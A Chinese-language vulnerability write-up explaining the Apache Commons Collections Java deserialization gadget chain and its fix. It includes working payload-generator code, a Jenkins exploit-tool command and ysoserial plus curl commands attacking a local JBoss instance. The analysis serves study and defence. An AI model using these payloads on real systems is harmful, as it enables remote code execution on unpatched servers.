Java 反序列化任意代码执行漏洞分析与利用

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2015年的1月28号,Gabriel Lawrence (@gebl)和Chris Frohoff (@frohoff)在AppSecCali上给出了一个报告[3],报告中介绍了Java反序列化漏洞可以利用Apache Commons Collections这个常用的Java库来实现任意代码执行。同年11月6日,FoxGlove Security安全团队的@breenmachine在一篇博客中[2]介绍了如何利用Java反序列化漏洞,来攻击最新版的WebLogic、WebSphere、JBoss、Jenkins、OpenNMS这些大名鼎鼎的Java应用,实现远程代码执行。
距离漏洞发布已经有了一年多的时间,仍然有很多网站仍未修复漏洞。

1.漏洞原理

1.1 Java序列化与反序列化

简单的说,把对象转换为字节序列的过程称为对象的序列化。把字节序列恢复为对象的过程称为对象的反序列化。

Java序列化的目的是为了将某些对象存储到磁盘上,从而长期保存,例如最常见的是Web服务器中的Session对象,当有 10万用户并发访问,就有可能出现10万个Session对象,内存可能吃不消,于是Web容器就会把一些seesion先序列化到硬盘中,等要用了,再把保存在硬盘中的对象还原到内存中。
或者当两个进程在进行远程通信时,彼此可以发送各种类型的数据。无论是何种类型的数据,都会以二进制序列的形式在网络上传送。发送方需要把这个Java对象转换为字节序列,才能在网络上传送;接收方则需要把字节序列再恢复为Java对象。
一个序列化与反序列化的典型场景如下:

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
public class deserial {
public static void main(String args[]) throws Exception {
String obj = "hello world!";
<pre><code>    // 将序列化对象写入文件object.db中
    FileOutputStream fos = new FileOutputStream("object.db");
    ObjectOutputStream os = new ObjectOutputStream(fos);
    os.writeObject(obj);
    os.close();

    // 从文件object.db中读取数据
    FileInputStream fis = new FileInputStream("object.db");
    ObjectInputStream ois = new ObjectInputStream(fis);

    // 通过反序列化恢复对象obj
    String obj2 = (String)ois.readObject();
    System.out.println(obj2);
    ois.close();
}
</code></pre>
}

1.2Java 反序列化漏洞

Java 反序列化漏洞的核心在于,由于Java中的类ObjectInputStream在反序列化时,没有对生成的对象的类型做限制。在反序列化的时候不需要指定原来的数据类型即可进行反序列化。如下代码仍可以执行:
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
public class deserial {
public static void main(String args[]) throws Exception {
String obj = "hello world!";
// 将序列化对象写入文件object.db中
FileOutputStream fos = new FileOutputStream("object.db");
ObjectOutputStream os = new ObjectOutputStream(fos);
os.writeObject(obj);
os.close();
// 从文件object.db中读取数据
FileInputStream fis = new FileInputStream("object.db");
ObjectInputStream ois = new ObjectInputStream(fis);
// 通过反序列化恢复对象obj
Object obj2 = ois.readObject();
System.out.println(obj2);
ois.close();
}
}

那么对用户输入,即不可信数据做了反序列化处理,那么攻击者可以通过构造恶意输入,让反序列化产生非预期的对象,非预期的对象在产生过程中就有可能带来任意代码执行。

反序列漏洞由来已久,PHP 和 Python 中也有同样的问题,而在 Java 中问题比较严重的原因是因为一些公用库,例如Apache Commons Collections中实现的一些类可以被反序列化用来实现任意代码执行。WebLogic、WebSphere、JBoss、Jenkins、OpenNMS这些应用的反序列化漏洞能够得以利用,就是依靠了Apache Commons Collections。但是该漏洞的根源并不在于公共库,而是在于 Java 没有对反序列化生成的对象的类型做限制。正如某些评论所说:
image

1.3漏洞利用原理

该漏洞的出现的根源在CommonsCollections组件中对于集合的操作存在可以进行反射调用的方法,并且该方法在相关对象反序列化时并未进行任何校验,新版本的修复方案对相关反射调用进行了限制。

1.3.1 InvokerTransformer.transform()实现程序执行

问题函数主要出现在org.apache.commons.collections.Transformer,我们可以看到Transformer接口定义了一个方法。

public interface Transformer {
<pre><code>/**
 * Transforms the input object (leaving it unchanged) into some output object.
 *
 * @param input  the object to be transformed, should be left unchanged
 * @return a transformed object
 * @throws ClassCastException (runtime) if the input is the wrong class
 * @throws IllegalArgumentException (runtime) if the input is invalid
 * @throws FunctorException (runtime) if the transform cannot be completed
 */
public Object transform(Object input);
</code></pre>
}

<code>       该接口的作用是给定一个 Object 进行 transform 变换后返回新的 Object,我们看它的实现类:
![](http://i1.piimg.com/567571/08a0898c8e213f96.png)
       其中接口的实现类InvokerTransformer的实现存在问题,我们看该类的transform 函数代码实现:</code>
/**
* Transforms the input to result by invoking a method on the input.
*
* @param input the input object to transform
* @return the transformed result, null if null input
*/
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
<pre><code>} catch (NoSuchMethodException ex) {
    throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
    throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
    throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
</code></pre>
}

发现它可以用反射的方法进行函数调用input 对象的 iMethodName 函数,参数为 iArgs。同时可以看到它的这三个参数都是在构造函数中设置的,均为可控参数。

1.3.2 TransformedMap.checkSetValue()->InvokerTransformer.transform()

我们知道InvokerTransformer这个类的 transformer 函数可以用来执行任意代码,我们需要找调用这个函数的位置。

我们看到有很多类调用了这个函数,我们以 TransformedMap 为例子进行介绍。

1.3.3 MapEntry.setValue()->TransformedMap.checkSetValue()

我们看TransformedMap.checkSetValue()的函数定义如下:
/**
* Override to transform the value when using <code>setValue</code>.
*
* @param value the value to transform
* @return the transformed value
* @since Commons Collections 3.1
*/
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}

我们在 eclipse 中查看它TransformedMap.checkSetValue()的调用栈发现它被MapEntry.setValue() 调用:

/**
* Implementation of a map entry that checks additions via setValue.
*/
static class MapEntry extends AbstractMapEntryDecorator {
<pre><code>    /** The parent map */
    private final AbstractInputCheckedMapDecorator parent;

    protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
            super(entry);
            this.parent = parent;
    }

    public Object setValue(Object value) {
            value = parent.checkSetValue(value);
            return entry.setValue(value);
    }
</code></pre>
}

在MapEntry.setValue() 中对 parent 进行了 checkSetValue AbstractInputCheckedMapDecorator 类型的parent 是在构造函数中进行设置的。

TransformedMap是AbstractInputCheckedMapDecorator 的一个子类,只要将 parent 设置为恶意的对象即可。

这样如果我们在序列化TransformedMap时指定了恶意的 InvokeTransformer 那么在MapEntry 执行 setValue 调用的时候,就会触发我们的 InvokeTransformer 中设置的恶意代码。
例如以下例子:

import java.util.HashMap;
import java.util.Map;
import java.util.Map.Entry;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
public class deserial {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {
String.class }, new Object[] {"calc.exe"})};
<pre><code>    Transformer transformedChain = new ChainedTransformer(transformers);

    Map innerMap = new HashMap();
    innerMap.put("value", "value");
    Map outerMap = TransformedMap.decorate(innerMap, null, transformedChain);

    Map.Entry onlyElement = (Entry) outerMap.entrySet().iterator().next();
    onlyElement.setValue("foobar");

}
</code></pre>
}

1.3.4 AnnotationInvocationHandler.readObject()->MapEntry.setValue()

但是目前的构造还需要依赖于触发Map中某一项去调用setValue(),我们需要想办法通过readObject()直接触发。
我们观察到java运行库中有这样一个类AnnotationInvocationHandler,这个类有一个成员变量memberValues是Map类型,同时它在 readObject 中对每一项 memberValue 都调用了 setValue,如下所示:

我们可以看到在 AnnotationInvocationHandler类的 readObject 函数中刚好有一个元素memberTypes,被调用了 setValue()方法,因此只需要构造一个 TransformedMap ,将它的 transformer 设置为 InvokeTransformer,然后将其用反射封装为一个AnnotationInvocationHandler类的对象。那么在反序列化在AnnotationInvocationHandler.readObject(xx)事就会触发漏洞,需要注意,这里的触发的类为AnnotationInvocationHandler。
生成 Payload 的一种方法如下:

import java.io.File;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
public class deserial {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {
String.class }, new Object[] {"calc.exe"})};
<pre><code>    Transformer transformedChain = new ChainedTransformer(transformers);

    Map<String, String> innerMap = new HashMap<String, String>();
    innerMap.put("value", "value");

    Map outerMap = TransformedMap.decorate(innerMap, null, transformedChain);

    Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
    ctor.setAccessible(true);
    Object instance = ctor.newInstance(Target.class, outerMap);

    File f = new File("payload.bin");
    ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
    out.writeObject(instance);
    out.flush();
    out.close();

}
</code></pre>
}

2.漏洞利用实例

针对 java 反序列化漏洞,国外有黑客已经写了开源的漏洞利用工具ysoserial
,国内也有大神根据该工具制作了 Jenkin 的利用工具。

2.1 Jenkins1.514漏洞利用

首先拿到一个Java应用,需要找到一个接受外部输入的序列化对象的接收点,即反序列化漏洞的触发点。我们可以通过审计源码中对反序列化函数的调用(例如readObject())来寻找,也可以直接通过对应用交互流量进行抓包,查看流量中是否包含java序列化数据来判断,java序列化数据的特征为以标记(ac ed 00 05)开头。

2.1.1 检查 ClassPath

确定了反序列化输入点后,再查看ClassPath 是否有 ApacheCommonsCollections 库
grep -R "InvokerTransformer" ~/.jenkins

2.1.2 利用国内的漏洞利用工具利用

我们使用国内的某Jenkins 漏洞利用工具进行漏洞利用。
./client.pl --url http://127.0.0.1:8080/ --os linux --cmd '{ whoami; ls -lh; } > /tmp/hacked'

我们可以看到漏洞利用成功:

2.1.3 服务器日志

对于低版本的 Jenkins 我们发现在触发漏洞的时候,服务器报异常。

对于最新版本的2.7.3的 Jenkins则无法成功。

2.2 Jboss6.0.0.Final攻击

2.2.1 生成 payload

使用ysoserial生成 payload,如下:

java -jar ysoserial-0.0.4-all.jar CommonsCollections1 'touch /tmp/hacked' > payload.bin

2.2.2 用 curl 发送 payload:

curl --header 'Content-Type: application/x-java-serialized-object; class=org.jboss.invocation.MarshalledValue' --data-binary '@payload.out' http://127.0.0.1:8080/invoker/JMXInvokerServlet

可以看到/tmp/hacked 被创建

但是目前存在的问题是其他有的指令无法执行。

3.漏洞修复

ApacheCommonsCollections在3.2.2中修复了漏洞。对这些不安全的Java类的序列化支持增加了开关,默认为关闭状态。涉及的类包括CloneTransformer,ForClosure, InstantiateFactory, InstantiateTransformer, InvokerTransformer, PrototypeCloneFactory,PrototypeSerializationFactory, WhileClosure

例如 InvokerTransformer 中,如果对该对象序列化,则会报异常。

/**
* Overrides the default writeObject implementation to prevent
* serialization (see COLLECTIONS-580).
*/
private void writeObject(ObjectOutputStream os) throws IOException {
FunctorUtils.checkUnsafeSerialization(InvokerTransformer.class);
os.defaultWriteObject();
}

/**
* Overrides the default readObject implementation to prevent
* de-serialization (see COLLECTIONS-580).
*/
private void readObject(ObjectInputStream is) throws ClassNotFoundException, IOException {
FunctorUtils.checkUnsafeSerialization(InvokerTransformer.class);
is.defaultReadObject();
}

参考资料

[1]:https://github.com/frohoff/ysoserial/

[2]:http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/#jboss

[3]:http://www.slideshare.net/frohoff1/appseccali-2015-marshalling-pickles

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